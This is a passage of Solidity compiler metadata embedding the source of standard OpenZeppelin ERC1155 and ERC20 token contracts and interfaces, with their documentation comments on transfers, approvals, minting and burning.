address;\\n\\n // Mapping from token ID to account balances\\n mapping (uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping (address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor (string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return interfaceId == type(IERC1155).interfaceId\\n || interfaceId == type(IERC1155MetadataURI).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(\\n address[] memory accounts,\\n uint256[] memory ids\\n )\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(address account, uint256 id, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n internal\\n virtual\\n { }\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x8a7cdfd0cc4a768ad04f850cbce1e877cf7ac16202c33049e3dd9e5bd99d713b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * 